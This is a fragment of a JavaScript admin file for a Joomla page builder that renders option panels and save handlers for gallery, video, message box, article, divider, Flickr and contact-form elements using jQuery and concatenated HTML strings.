    //						content+='<label>Auto:</label>';
    //						content+='<div class="row-fluid"><select class="st-auto span6">';
    //							content+='<option value="true">True</option>';
    //							content+='<option value="false">False</option>';
    //						content+='</select></div>';
                        content+='<div class="row-fluid">';
                        content += getBt2Selectgroup('Columns', 'st-columns', 'span6', '', data.attr.columns, [['2 Columns', '2'],['3 Columns', '3'],['4 Columns', '4'],['6 Columns', '6']], false);
				        content+='</div>';
                        content+='<div class="row-fluid">';
                            content += getBt2Selectgroup('Template', 'st-slider-template', 'span6', '', data.attr.template, [['Default','gallery'],['Default1','gallery1']], false);
                        content+='</div>';
                        content+="<label>State:</label>";
            			content+="<div class='st-state st-radio'>"; 
            				content+='<label class="radio inline"><input type="radio" name="st-state" value="0" checked="checked">No</label>';
            				content+='<label class="radio inline"><input type="radio" name="st-state" value="1">Yes</label>';
            			content+="</div>";
					content+='</div>';
                    
					//content+='<div class="span6">';
//						content+='<label>Type Slider:</label>';
//						content+="<div class='st-typeslider st-radio'>"; 
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="2" checked="checked">Camera</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="3">Flex</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="4">Nivo</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="5">Elastic</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="6">Accordion</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="7">carousel Box</label>';
//						content+="</div>";
//					content+='</div>';
				content+='</div>';
			content+='</div>';
		content+='</div>';
        

		content+="<div class='st-button-group'>";
    		content+="<button class='btn btn-primary btn-save'>Save</button>";
    		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);

	gallerySelectImage();
	jQuery('#st-navigation .st-typeslider [value="'+((data.attr.typeslider!=null)?data.attr.typeslider:"1")+'"]').prop('checked', true);
	jQuery('#st-navigation .st-state [value="'+((data.attr.state!=null)?data.attr.state:"1")+'"]').prop('checked', true);
//	jQuery('#st-navigation .st-state [value="'+data.attr.state+'"]').attr("selected","selected");
	jQuery('#tabpopup a').click(function (e) {
		e.preventDefault();
		jQuery(this).tab('show');
	});
    if(typeof data.attr.state !='undefined'){
		jQuery('#st-navigation .st-state [value="'+data.attr.state+'"]').prop('checked', true);
	}
	jQuery('#st-navigation .st-go').click(function(){
		loadImages(jQuery("#st-navigation .st-path").val());
	});
	
	jQuery('#sortImage [class^="icon-"]').click(function(){
		jQuery(this).parent().remove();
	});
	jQuery('.st-nav-option .st-button-group button.btn-primary.btn-save').click(function(){
		saveGallery();
	});
}

function gallerySelectImage(){
	jQuery('.st-navigation #sortImage .st-selectimage').click(function(){
		//console.log(encodeURIComponent('Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sed cumque distinctio labore minima ipsum fugit aspernatur dolore deserunt iure sunt officiis iusto <span class="color-text">itaque rerum reprehenderit laborum</span> dignissimos iste assumenda dolorem?'))
		jQuery('.st-navigation #sortImage .st-selectimage').removeClass('selected');
		jQuery(this).addClass('selected');
		jQuery('.st-navigation .st-desc-item .st-desc-title').val(jQuery(this).attr('data-title'));
        jQuery('.st-navigation .st-desc-item .st-desc-link-text').val(jQuery(this).attr('data-link-text'));
        jQuery('.st-navigation .st-desc-item .st-desc-link').val(jQuery(this).attr('data-link'));
        jQuery('.st-navigation .st-desc-item .st-desc-image-full').val(jQuery(this).attr('data-image-full'));
        jQuery('.st-navigation .st-desc-item .st-desc-content').val((jQuery(this).attr('data-desc')!=null)?decodeURIComponent(jQuery(this).attr('data-desc')):"");
	});
	jQuery('.st-navigation .st-desc-item .st-desc-title').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-title",jQuery(this).val());
	});
    jQuery('.st-navigation .st-desc-item .st-desc-link-text').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-link-text",jQuery(this).val());
	});
    jQuery('.st-navigation .st-desc-item .st-desc-link').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-link",jQuery(this).val());
	});    
    
	jQuery('.st-navigation .st-desc-item .st-desc-content').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-desc",encodeURIComponent(jQuery(this).val()));
	});
}

function saveGallery(){
		data = {"type":"gallery_desi","content":[],"attr":{}};
        data.attr.template = jQuery('select[name="st-slider-template"] option:selected').val();
        data.attr.columns = jQuery('select[name="st-columns"] option:selected').val();
        data.attr.state=jQuery('#st-navigation .st-state [type="radio"]:checked').val();
		data.attr.class=jQuery('#st-navigation .st-class').val();
		data.attr.title=jQuery('#st-navigation .st-title').val();
		data.attr.class=jQuery('#st-navigation .st-class').val();
		data.attr.width=jQuery('#st-navigation .st-width').val();
		data.attr.height=jQuery('#st-navigation .st-height').val();
		//data.attr.typeslider= jQuery('#st-navigation .st-typeslider input[type="radio"]:checked').val();
		var link = "";
		jQuery('#st-navigation #sortImage li').each(function(index){
			var arr = {"type":"item_gallery_desi","content":jQuery(this).find('img').attr("data-site"),"attr":{"linkadmin":jQuery(this).find('img').attr("src"),"title":jQuery.trim(jQuery(this).attr("data-title")),"desc":jQuery.trim(jQuery(this).attr("data-desc")),"link_text":jQuery.trim(jQuery(this).attr("data-link-text")),"link":jQuery.trim(jQuery(this).attr("data-link"))}};
			data.content.push(arr);
		});
		//console.log(data);
		var json = encodeURIComponent(JSON.stringify(data));
		jQuery('#st-page li.st-focus').attr("data",json);
		jQuery.stbox.close();
}
//  End Slider Option

// get Option Vimeo
function getVimeoOption(data) {
    content = "<div class='st-nav-title'><i class='icon-vimeo'></i> Vimeo<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
    content += "<div class='st-nav-option'>";
	    //content += "<!-- Nav tabs -->";
	    content += '<div class="row-fluid">';
		    
	    		content += getBt2Inputgroup([['text', 'st-link','span12','','Video link','Enter vimeo link here', data.content]], false);

	    		content += '<div class="control-group row-fluid">';
	    			content += '<label class="control-label">Demensions</label>';
	    			content += '<div class="controls">';
	    				content += '<div class="input-prepend input-append span6">';
	    					content += '<span class="add-on">W</span>';
	    					content += '<input class="st-widthoption span4" name="st-width" id="appendedPrependedInput" value="' + data.attr.width + '" type="text">';
	    					content += '<span class="add-on">px</span>';
	    				content += '</div>';
	    				content += '<div class="input-prepend input-append span6">';
						    content += '<span class="add-on">H</span>';
						    content += '<input class="st-heightoption span4" name="st-height" id="appendedPrependedInput" value="' + data.attr.height + '"  type="text">';
						    content += '<span class="add-on">px</span>';
	    				content += '</div>';
	    			content += '</div>';
	    		content += '</div>';

	    	content += '<div class="row-fluid">';

	    		content += '<div class="span6">';
	    			content += getBtRadioCheckbox('Autoplay', 'st-autoplay' ,data.attr.autoplay , '1' ,[['radio','inputbox','','1','Yes'],['radio','inputbox','','0','No']], false);

		    		content += getBtRadioCheckbox('Loop', 'st-loop' ,data.attr.loop , '0',[['radio','inputbox','','1','Yes'],['radio','inputbox','','0','No']], false);


		    		content += getBtRadioCheckbox('Enables the badge', 'st-badge' ,data.attr.badge , '1',[['radio','inputbox','','1','Yes'],['radio','inputbox','','0','No']], false);

		    		

	    		content += '</div>';

	    		content += '<div class="span6">';

	    			content += getBtRadioCheckbox('Show the user\’s byline', 'st-byline' ,data.attr.byline , '1',[['radio','inputbox','','1','Yes'],['radio','inputbox','','0','No']], false);

	    			content += getBtRadioCheckbox('Show the user\’s portrait', 'st-portrait' ,data.attr.portrait , '1',[['radio','inputbox','','1','Yes'],['radio','inputbox','','0','No']], false);

		    		content += getBtRadioCheckbox('Show title', 'st-title' ,data.attr.title , '1',[['radio','inputbox','','1','Yes'],['radio','inputbox','','0','No']], false);

		    		
	    		content += '</div>';

	    	content += '</div>';

	    		content += getBt2Inputgroup([['text', 'st-color','span12','','Color (make sure that you don\'t include the #)','Enter the player color', data.attr.color,'00adef']], false);

		    	content += getBt2Selectgroup('Alignment', 'st-alignment', 'inputbox span12' , '', data.attr.alignment, [['Left','left'],['Center','center'],['Right','right']], false);
		content += '</div>';

	    content += "<div class='st-button-group'>";
	    content += "<button class='btn btn-primary btn-save'>Save</button>";
	    content += "<button class='btn btn-cancel'>Cancel</button>";
	    content += "</div>";

    content += "</div>";

    jQuery('.st-navigation').html(content);
    jQuery('.st-nav-option button.btn-primary.btn-save').click(function() {
        saveVimeo();
    });
}

function saveVimeo() {
    var link = convertHTML(jQuery('input[name="st-link"]').val());
    if (testEmpty(jQuery('input[name="st-link"]'))) {
       
            alert('Please input your Vimeo link!');
            return false;
    } else {
        data = {"type": "vimeo_desi", "content": "", "attr": {}};
        data.content = link;
        //data.embed = embed;
        data.attr.width = jQuery('input[name="st-width"]').val();
        data.attr.height = jQuery('input[name="st-height"]').val();
        data.attr.autoplay = jQuery('input[name="st-autoplay"]:checked').val();
        data.attr.loop = jQuery('input[name="st-loop"]:checked').val();
        data.attr.badge = jQuery('input[name="st-badge"]:checked').val();
        data.attr.byline = jQuery('input[name="st-byline"]:checked').val();
        data.attr.portrait = jQuery('input[name="st-portrait"]:checked').val();
        data.attr.title = jQuery('input[name="st-title"]:checked').val();
        data.attr.color = jQuery('input[name="st-color"]').val();
        data.attr.alignment = jQuery('select[name="st-alignment"] option:selected').val();
        var json = encodeURIComponent(JSON.stringify(data));
        jQuery('#st-page li.st-focus').attr("data", json);
        jQuery.stbox.close();
    }
}
//  End Youtube Option

// get Option Youtube
function getYoutubeOption(data) {
    content = "<div class='st-nav-title'><i class='icon-youtube'></i> Youtube<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
    content += "<div class='st-nav-option'>";
	    content += "<!-- Nav tabs -->";
	    content += '<ul class="nav nav-tabs">';
		    content += '<li class="active"><a href="#youtube-content" data-toggle="tab">Content</a></li>';
		    content += '<li><a href="#youttube-settings" data-toggle="tab">Settings</a></li>';
	    content += '</ul>';
    content += '<!-- Tab panes -->';
    content += '<div class="tab-content">';
    	content += '<div class="tab-pane active" id="youtube-content">\n\n\ ';
    		content += "<div class='row-fluid'><input type='text' name='link-option' class='span12' value='" + data.content + "' placeholder='Enter the youtube link'></div>";
    	content += '</div>';
    	content += '<!-- End Tab panes 1 -->';
	    content += '<div class="tab-pane" id="youttube-settings">';
	    	content += '<div class="form-horizontal">';
	    		content += '<div class="control-group row-fluid">';
	    			content += '<label for="youtube-demensions-option" class="control-label col-md-4">Demensions</label>';
	    			content += '<div class="controls">';
	    				content += '<div class="input-prepend input-append">';
	    					content += '<span class="add-on">W</span>';
	    					content += '<input class="st-widthoption span4" id="appendedPrependedInput" value="' + data.attr.width + '" type="text">';
	    					content += '<span class="add-on">px</span>';
	    				content += '</div>';
	    				content += '<div class="input-prepend input-append">';
						    content += '<span class="add-on">H</span>';
						    content += '<input class="st-heightoption span4" id="appendedPrependedInput" value="' + data.attr.height + '"  type="text">';
						    content += '<span class="add-on">px</span>';
	    				content += '</div>';
	    			content += '</div>';
	    		content += '</div>';

			    content += '<div class="control-group row-fluid">';
				    content += '<label class="control-label col-md-4">Autoplay</label>';
				    content += '<div class="controls">';
					    content += '<label class="radio inline">Yes';
					    content += "<input type='radio' id='youtube-autoplay-option' name='autoplay-option' class='st-autoplayoption inputbox'" + ((data.attr.autoplay == '1') ? 'checked="checked"' : '') + " checked='checked'  value='1'></label>";
					    content += '<label class="radio inline">No';
					    content += "<input type='radio' id='youtube-autoplay-option' name='autoplay-option' class='st-autoplayoption inputbox' " + ((data.attr.autoplay == '0') ? 'checked="checked"' : '') + " value='0'></label>";
				    content += '</div>';
			    content += '</div>';

			    content += '<div class="control-group row-fluid">';
			    	content += '<label class="control-label col-md-4">Loop</label>';
				    content += '<div class="controls">';
					    content += '<label class="radio inline">Yes';
					    content += "<input type='radio' id='youtube-loop-option' name='loop-option' class='st-looption inputbox'" + ((data.attr.loop == '1') ? 'checked="checked"' : '') + "  checked='checked'  value='1'></label>";
					    content += '<label class="radio inline">No';
					    content += "<input type='radio' id='youtube-loop-option' name='loop-option' class='st-loopoption inputbox' " + ((data.attr.loop == '0') ? 'checked="checked"' : '') + "  value='0'></label>";
				    content += '</div>';
			    content += '</div>';


			    content += '<div class="control-group row-fluid">';
				    content += '<label class="control-label col-md-4">Controls Auto Hide</label>';
				    content += '<div class="controls">';
					    content += "<select name='hidecontrols-option' class='st-showcaptionoption inputbox'>";
						    content += "<option " + ((data.attr.hidecontrols == '0') ? 'selected="selected"' : '') + " value='0'>Automatic hide controls</option>";
						    content += "<option " + ((data.attr.hidecontrols == '1') ? 'selected="selected"' : '') + " value='1'>Show controls and load video</option>";
						    content += "<option " + ((data.attr.hidecontrols == '2') ? 'selected="selected"' : '') + " value='2'>Show controls</option>";
					    content += "</select>";
				    content += '</div>';
			    content += '</div>';

			    content += '<div class="control-group row-fluid">';
				    content += '<label class="control-label col-md-4">Show caption</label>';
				    content += '<div class="controls">';
					    content += '<label class="radio inline">Yes';
					    content += "<input type='radio' id='youtube-loop-option' name='showcaption-option' class='st-looption inputbox'" + ((data.attr.showcaption == '1') ? 'checked="checked"' : '') + "  checked='checked'  value='1'></label>";
					    content += '<label class="radio inline">No';
					    content += "<input type='radio' id='youtube-loop-option' name='showcaption-option' class='st-loopoption inputbox' " + ((data.attr.showcaption == '0') ? 'checked="checked"' : '') + "  value='0'></label>";
				    content += '</div>';
			    content += '</div>';

			    content += '<div class="control-group row-fluid">';
			    	content += '<label for="youtube-alignment-option" class="control-label col-md-4">Alignment</label>';
				    content += '<div class="controls">';
					    content += "<select id='youtube-alignment-option' class='st-showcaptionoption inputbox'>";
						    content += "<option " + ((data.attr.alignment == 'left') ? 'selected="selected"' : '') + " value='left'>Left</option>";
						    content += "<option " + ((data.attr.alignment == 'center') ? 'selected="selected"' : '') + " value='center'>Center</option>";
						    content += "<option " + ((data.attr.alignment == 'right') ? 'selected="selected"' : '') + " value='right'>Right</option>";
					    content += "</select>";
				    content += '</div>';
			    content += '</div>';
	    content += '</div>';

	content += '</div>';

	content += '</div>';
    content += "<div class='st-button-group'>";
    content += "<button class='btn btn-primary btn-save'>Save</button>";
    content += "<button class='btn btn-cancel'>Cancel</button>";
    content += "</div>";
    content += "</div>";
    jQuery('.st-navigation').html(content);
    jQuery('.st-nav-option button.btn-primary.btn-save').click(function() {
        saveYoutube();
    });
}

function saveYoutube() {
    var link = convertHTML(jQuery('input[name="link-option"]').val());
    //var embed = convertHTML(jQuery('input[name="embed-option"]').val());
    if (testEmpty(jQuery('input[name="link-option"]'))) {
        if (embed == "") {
            alert('Please input your Youtube link!');
            return false;
        }
    } else {
        data = {"type": "youtube_desi", "content": "", "attr": {"autoplay": ""}};
        data.content = link;
        //data.embed = embed;
        data.attr.width = jQuery('.st-navigation .st-nav-option .st-widthoption').val();
        data.attr.height = jQuery('.st-navigation .st-nav-option .st-heightoption').val();
        data.attr.autoplay = jQuery('input[name="autoplay-option"]:checked').val();
        data.attr.loop = jQuery('input[name="loop-option"]:checked').val();
        data.attr.hidecontrols = jQuery('select[name="hidecontrols-option"] option:checked').val();
        data.attr.showcaption = jQuery('input[name="showcaption-option"]:checked').val();
        data.attr.alignment = jQuery('select[name="alignment-option"] option:checked').val();
        var json = encodeURIComponent(JSON.stringify(data));
        jQuery('#st-page li.st-focus').attr("data", json);
        jQuery.stbox.close();
    }
}
//  End Youtube Option

// get Option Message Box
function getMessageBoxOption(data){
	content ="<div class='st-nav-title'><i class='icon-exclamation-sign'></i> Message Box<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<div class='row-fluid'>";
			content +="<div class='span12'>";
				content += getBt2Selectgroup('Message Type', 'st-type', 'span12', '', data.attr.type, [['--- Select a type ---','0'],['Warning','warning'],['Info','info'],['Error','error'],['Success','success']], false);
				content += getBt2Inputgroup([['text', 'st-title_alert','span12','','Message Title','Input your title here', decodeURIComponent(data.attr.title)]], false);
				content += getBt2Textareagroup([['st-content_alert','span12','',decodeURIComponent(data.content),'Message', '5']], false);
			content +="</div>";

		content+="<div class='st-button-group'>";
			content+="<button class='btn btn-primary btn-save'>Save</button>";
			content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		if(testEmpty(jQuery('textarea[name="st-content_alert"]'))){
			alert('The Message must be not empty!');
			jQuery('textarea[name="st-content_alert"]').focus();
		}else{
			saveMessageBox();
		}
	});
}

function saveMessageBox(){
	var type_alert = jQuery('select[name="st-type"] option:selected').val();
	var title_alert = encodeURIComponent(convertHTML(jQuery('input[name="st-title_alert"]').val()));
	var content_alert = encodeURIComponent(convertHTML(jQuery('textarea[name="st-content_alert"]').val()));
	if(type_alert==0){
		alert('Please select a type !');
		return false;
	}
	data = {"type":"alert_desi","content":content_alert,"attr":{"type":type_alert,"title":title_alert}};
	var json = encodeURIComponent(JSON.stringify(data));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}
//  End Message Box Option

////////////////////////////////  Article Recent //////////////////////////////////////

// get Option Article Recent
function getArticleRecentOption(data){
	content ="<div class='st-nav-title'><i class='icon-newspaper'></i> Article Recent<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<label>Select category:</label>";
		content+="<div class='row-fluid st-category'></div>";
		content+="<label>Style:</label>";
        content+="<div class='row-fluid'><select class='st-style span12'>"; 
		content+='<option value="style-1">style-1</option>';
		content+='<option value="style-2">style-2</option>';
		content+="</select></div>";

		content+="<label>ID:</label>";
		content+="<div class='row-fluid'><input type='text' value='"+((data.attr.id_ar!=null)?data.attr.id_ar:"")+"' class='st-id span12' /></div>";

		content+="<label>Class:</label>";
		content+="<div class='row-fluid'><input type='text' value='"+((data.attr.class!=null)?data.attr.class:"")+"' class='st-class span12' /></div>";

		content+="<div class='st-isVisble'><label>Title Article recent:</label>";
		content+="<div class='row-fluid'><input type='text' value='"+data.attr.title+"' class='st-title_article span12' /></div>";
		content+="<label>Content Intro:</label>";
        content+="<div class='row-fluid'><textarea rows='6' class='st-content_article span12'>";
			content+=decodeURIComponent(data.content);
        content+="</textarea></div></div>";
		
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);

	
	jQuery('.st-navigation .st-style option[value="'+data.attr.style+'"]').attr("selected","selected");
	jQuery('.st-navigation .st-type input[value="'+data.attr.type+'"]').attr("checked","checked");
	//console.log(data.attr.type);

	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveArticleRecent();
	});
}

function saveArticleRecent(){
	var title_article = jQuery('.st-navigation .st-nav-option .st-title_article').val();
	var content = encodeURIComponent(jQuery('.st-navigation .st-nav-option .st-content_article').val());
	var category_id = jQuery('.st-navigation .st-category select').val();
	var classarticle = jQuery('.st-navigation .st-class').val();
	var idarticle = jQuery('.st-navigation .st-id').val();
	data = {"type":"recent_article_desi","content":content,"attr":{"title":title_article,"category_id":category_id,"class":classarticle,"id_ar":idarticle}};
	var json = encodeURIComponent(JSON.stringify(data));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}	

//get option Article box
function getArticleBoxOption(data){
	content ="<div class='st-nav-title'><i class='icon-frame'></i> Article Box<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<label>Select Article from:</label>";
		content+=
			"<div class='row-fluid'><select class='st-extension span12'>" + 
				"<option value='com_k2'>com_k2</option><option value='com_content'>com_content</option>" + 
			"</select></div>";
		content+="<label>Articles:</label>";
		content+="<div class='row-fluid st-article'></div>";
		content+="<label>Type:</label>";
		content+=
			"<div class='row-fluid'><select class='st-type span12'>" + 
			  "<option value='outside'>Outside</option>" + 
			  "<option value='inside' selected='selected'>Inside</option>" + 
			"</select></div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('.st-navigation .st-extension option[value="'+data.attr.extension+'"]').attr("selected","selected");
	jQuery('.st-navigation .st-type option[value="'+data.attr.type+'"]').attr("selected","selected");
	jQuery('.st-navigation .st-extension').change(function(){
		if(jQuery('.st-navigation .st-extension').val()=='com_k2'){
			jQuery('.st-navigation #st-element-contents').appendTo("#st-element");
			jQuery('#st-element #st-element-k2contents').appendTo(".st-navigation .st-article");
		}else{
			jQuery('.st-navigation #st-element-k2contents').appendTo("#st-element");
			jQuery('#st-element #st-element-contents').appendTo(".st-navigation .st-article");
		}
	});

	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveArticleBox();
	});
}

function saveArticleBox(){
	var extension = jQuery('.st-navigation .st-nav-option .st-extension').val();
	var article = jQuery('.st-navigation .st-nav-option .st-article select').val();
	var type = jQuery('.st-navigation .st-nav-option .st-type').val();
	data = {"type":"article_box_desi","content":"","attr":{"extension":extension,"article_id":article,"type":type}};
	var json = encodeURIComponent(JSON.stringify(data));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}
//End Article box

//Get Option Divider
function getDividerOption(data){
	content ="<div class='st-nav-title'><i class='icon-minus-2'></i> Divider<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<label>Style:</label>";
		content+="<div class='row-fluid'><select class='st-style span12'>"; 
			content+='<option value="none">None</option>';
			content+='<option value="border">Border</option>';
		content+="</select></div>";
		content+="<label>Class:</label>";
		content+="<div class='row-fluid'><input type='text' class='st-dclass span12' value='"+data.attr.dclass+"' placeholder='Class'><div>";
		
		content+="<label>Margin:</label>";
		content+="<div class='row-fluid'><input type='text' class='st-margin span12' value='"+data.attr.margin+"' placeholder='Margin'><div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('.st-navigation .st-style option[value="'+data.attr.style+'"]').attr("selected","selected");
	jQuery('.st-navigation .st-dclass').val(data.attr.dclass);
	jQuery('.st-navigation .st-margin').val(data.attr.margin);
	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveDivider();
	});
}

function saveDivider(){
	var style = jQuery('.st-navigation .st-style').val();
	var dclass = jQuery('.st-navigation .st-dclass').val();
	var margin = jQuery('.st-navigation .st-margin').val();
	if(testNumber(margin)){
		data = {"type":"divider_desi","content":" ","attr":{"style":style,"margin":margin,"dclass":dclass}};
		var json = encodeURIComponent(JSON.stringify(data));
		jQuery('#st-page li.st-focus').attr("data",json);
		jQuery.stbox.close();
	}else{
		alert('Margin must be number format.');
		return false;
	}
}

//End Divider

// get Option flickr
function getFlickrOption(data) {
    content = "<div class='st-nav-title'><i class='icon-flickr'></i> Flickr<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
    content += "<div class='st-nav-option'>";
    // row-fluid
    content += "<div class='row-fluid'>";
        // span6
        content += "<div class='span6'>";
            content += getBt2Inputgroup([['text', 'flickr-id','span12','','Id Images flickr - Link:','Link id image', data.attr.id],['text', 'flickr-title','span12','','Title','Title', data.attr.title],['text', 'flickr-description','span12','','Description','Description', data.attr.description],['text', 'flickr-limit','span6','','Limit','Limit', data.attr.limit]], false);
            
        content += "</div>";

        content += "<div class='span6'>";
                     
            content += getBt2Selectgroup('Image Fixed width', 'flickr-fixedwidth', 'span12', '', data.attr.fixedwidth, [['75x75', 's'],['Max 100', 't'],['Max 240', 'm'],['Max 1024', 'b']], false);
            content += "<div class='row-fluid'>";
                 content += "<div class='span6'>";
                        content += getBt2Inputgroup([['text','flickr-containerwidth','span12','','Container Width','Container Width', data.attr.containerwidth]],false);
                 content += "</div>";
                 content += "<div class='span6'>";
                        content += getBt2Inputgroup([['text','flickr-containerheight','span12','','Container Height','Container Height', data.attr.containerheight]],false);
                 content += "</div>";
                content += "</div>";

              content += "<div class='row-fluid'>";
              		content += getBtRadioCheckbox('Image Callback Function', 'st-callbackfx' ,data.attr.callbackfx , 'cycle' ,[['radio','inputbox','','cycle','Cycle'],['radio','inputbox','','cbox','ColorBox'],['radio','inputbox','','nocallback','No Callback']], false);
                    
              content += "</div>";
            content += "<div class='row-fluid'>";
                    content +="<div class='span6'>";
                        content += getBt2Selectgroup('Alignment','flickr-align','span12','', data.attr.align, [['Left','left'],['Center','center'],['Right','right']], false);
                    content +="</div>";
                    content += "<div class='span6'>";
                        content += getBt2Selectgroup('Column','flickr-column','span12','', data.attr.column, [['1','1'],['2','2'],['3','3'],['4','4'],['5','5'],['6','6'],['7','7'],['8','8'],['9','9'],['10','10']], false);
                    content +="</div>";
            content += "</div>";
        content += "</div>";

    content += "</div>";

    content += "<div class='st-button-group row-fluid'>";
    content += "<button class='btn btn-primary btn-save'>Save</button>";
    content += "<button class='btn btn-cancel'>Cancel</button>";
    content += "</div>";

    content += "</div>";

    jQuery('.st-navigation').html(content);
    if(data.attr.callbackfx && (data.attr.callbackfx == 'cycle')){
        jQuery('select[name="flickr-column"]').prop('disabled', true); 
    }
    jQuery('input[name="st-callbackfx"]').filter('[value="cycle"]').click(function(){
        jQuery('select[name="flickr-column"]').prop('disabled', true); 
    });
    jQuery('input[name="st-callbackfx"]').filter('[value!="cycle"]').click(function(){
        jQuery('select[name="flickr-column"]').prop('disabled', false); 
    });
    jQuery('.st-nav-option button.btn-primary.btn-save').click(function() {
        saveFlickr();
    });
}

function saveFlickr() {
    data = {"type": "flickr_desi", "content": "", "attr": {}};
    data.attr.containerwidth = parseFloat(jQuery('input[name="flickr-containerwidth"]').val());
    data.attr.containerheight = parseFloat(jQuery('input[name="flickr-containerheight"]').val());
    // data.attr.imagewidth = parseFloat(jQuery('input[name="flickr-imagewidth"]').val());
    // data.attr.imageheight = parseFloat(jQuery('input[name="flickr-imageheight"]').val());
    data.attr.id = jQuery('input[name="flickr-id"]').val();
    data.attr.limit = jQuery('input[name="flickr-limit"]').val();
    data.attr.title = jQuery('input[name="flickr-title"]').val();
    data.attr.description = jQuery('input[name="flickr-description"]').val();
    data.attr.callbackfx = jQuery('input[name="st-callbackfx"]:checked').val();
    data.attr.fixedwidth = jQuery('select[name="flickr-fixedwidth"] option:selected').val();
    data.attr.align = jQuery('select[name="flickr-align"] option:selected').val();
    // data.attr.fluid = jQuery('input[name="flickr-fluid"]:checked').val();
    if (jQuery('select[name="flickr-column"]').prop('disabled')) {
        data.attr.column = null;
    }else{
        data.attr.column = jQuery('select[name="flickr-column"] option:selected').val();
    }
    var json = encodeURIComponent(JSON.stringify(data));
    jQuery('#st-page li.st-focus').attr("data", json);
    jQuery.stbox.close();
}

//End Flickr

// BgVideo//
//function getBgVideoOption(data){
//	content ="<div class='st-nav-title'><i class='icon-film'></i> Background Video<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
//    content+="<div class='st-nav-option'>";
//    content+="<div class='row-fluid'>";
//        content+="<div class='span12'>";
//            content += getBt2Inputgroup([['text','bgvideo-image','span12','','Image link','Image link',data.attr.imagelink,'images/badge.png'],['text','bgvideo-title','span12','','Title','Title',data.attr.title,'Background Video'],['text','bgvideo-id','span12','','Video ID','Video ID',data.attr.id,'81676731'],['text','bgvideo-volume','span12','','Volume','Volume',data.attr.volume,'50']], false);
//        content +="</div>";
//    content +="</div>";
//        content+="<div class='st-button-group'>";
//        content+="<button class='btn btn-primary btn-save'>Save</button>";
//        content+="<button class='btn btn-cancel'>Cancel</button>";
//        content+="</div>";
//    content+="</div>";
//    jQuery('.st-navigation').html(content);
//    jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
//        saveBgVideo();
//    });
//}
//
//function saveBgVideo(){
//	data = {"type":"bgvideo_desi","content":"","attr":{}};
//    data.attr.imagelink=jQuery('input[name="bgvideo-image"]').val();
//    data.attr.title=jQuery('input[name="bgvideo-title"]').val();
//    data.attr.id=jQuery('input[name="bgvideo-id"]').val();
//    data.attr.volume=jQuery('input[name="bgvideo-volume"]').val();
//    var json = encodeURIComponent(JSON.stringify(data));
//    jQuery('#st-page li.st-focus').attr("data",json);
//    jQuery.stbox.close();
//}

// End BgVideo

// get Option Contact Form 
function getContactOption(data){
	content ="<div class='st-nav-title'><i class='icon-mail-6'></i> Contact Form<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
    content+="<div class='st-nav-option'>";
    content+="<div class='row-fluid'>";
        content+="<div class='span6'>";
            content += getBt2Inputgroup([['text','contact-title','span12','','Title','Title',data.attr.title,'Contact Us']], false);
            content += getBt2Textareagroup([['contact-description','span12','',data.attr.description,'Description','3','']], false);
            //content += getBt2Inputgroup([['text','contact-email','span12','','Email','Email',data.attr.email,'hello@domain.inc'],['text','contact-subject','span12','','Subject','Subject',data.attr.subject,'We are online from 09.00 - 18.00, Mountain Time'],['text','contact-thanks','span12','','Thanks Message','Thans Message',data.attr.thanks,'Thanks for contacting us']], false);
            content+="<label>State:</label>";
			content+="<div class='st-state st-radio'>"; 
				content+='<label class="radio inline"><input type="radio" name="st-state" value="0" checked="checked">No</label>';
				content+='<label class="radio inline"><input type="radio" name="st-state" value="1">Yes</label>';
			content+="</div>";
        content +="</div>";
			
        content+="<div class='span6'>";
